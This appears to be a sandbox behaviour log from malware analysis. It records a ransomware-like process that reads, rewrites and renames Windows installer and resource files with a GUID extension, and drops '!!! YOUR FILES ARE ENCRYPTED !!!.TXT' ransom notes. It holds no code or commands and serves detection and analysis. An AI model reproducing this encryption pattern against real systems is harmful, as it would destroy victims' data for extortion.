File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, destination_filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\ParameterInfo.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\ParameterInfo.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\ParameterInfo.xml, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\ParameterInfo.xml, destination_filename = C:\588bce7c90097ed212\ParameterInfo.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 184832, size_out = 184832	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 184869	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, destination_filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 94720, size_out = 94720	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 94757	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, destination_filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\SetupUi.xsd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\SetupUi.xsd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 30120, size_out = 30120	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 30149	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\SetupUi.xsd, destination_filename = C:\588bce7c90097ed212\SetupUi.xsd.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\SplashScreen.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\SplashScreen.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 41080, size_out = 41080	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 41109	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SplashScreen.bmp, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\SplashScreen.bmp, destination_filename = C:\588bce7c90097ed212\SplashScreen.bmp.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\Strings.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Strings.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Strings.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\Strings.xml, size = 14084, size_out = 14084	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 14117	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Strings.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\Strings.xml, destination_filename = C:\588bce7c90097ed212\Strings.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\UiInfo.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\UiInfo.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 38898, size_out = 38898	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 38933	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\UiInfo.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\UiInfo.xml, destination_filename = C:\588bce7c90097ed212\UiInfo.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\watermark.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\watermark.bmp, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\watermark.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\watermark.bmp, size = 104072, size_out = 104072	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 104101	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\watermark.bmp, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\watermark.bmp, destination_filename = C:\588bce7c90097ed212\watermark.bmp.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu, destination_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, destination_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu, destination_filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x64.msu.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 262144, size_out = 262144	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 1024, size_out = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 1024	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 262181	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, destination_filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1025\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1025\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 7567, size_out = 7567	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 7605	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1025\eula.rtf, destination_filename = C:\588bce7c90097ed212\1025\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1025\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1025\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 74214, size_out = 74214	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 74245	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1025\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1025\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1028\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1028\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 6309, size_out = 6309	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 6341	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1028\eula.rtf, destination_filename = C:\588bce7c90097ed212\1028\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1028\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1028\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 60816, size_out = 60816	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 60853	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1028\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1028\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1029\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1029\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 3726, size_out = 3726	1	Fn Data
